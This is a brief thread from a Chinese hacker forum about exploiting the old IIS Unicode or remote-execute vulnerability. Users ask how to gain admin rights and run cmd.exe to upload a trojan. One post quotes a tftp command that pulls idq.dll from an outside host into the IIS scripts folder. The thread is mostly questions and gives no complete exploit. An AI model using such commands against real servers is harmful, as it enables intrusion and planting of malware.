20CN网络安全小组第一代论坛: IIS 远程执行: Remote Execute-E

这是在 20CN网络安全小组第一代论坛 的论坛 黑客基地 中的主题 IIS 远程执行: Remote Execute-E。

要查看这个主题，请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=2;t=000779

由没影 (编号: 14) 发表于 :

此洞如何用？

如何获得admin权限？

具体命令格式？

如何调用cmd.exe上传木马并运行？

由 japleak (编号: 2531) 发表于 :

这就是unicode漏洞，关于权限的问题你应该知道吧！参考这个漏洞就可以了！

由 quake (编号: 2913) 发表于 :

我用流光的IIS 远程执行: Remote Execute-E,dir是行的，但我上传idq.dll失败。我已经开了tftpd32.exe,设好了路径，在IIS 远程执行: Remote Execute-E运行
tftp -i *.*.*.* idq.dll c://inetpub//scripts//idq.dll
文件没传上去。
还有，这个自己的ip是动态分配的ip，还是局域网的ip?（我们有2台机子上网，我是挂在另一台上的）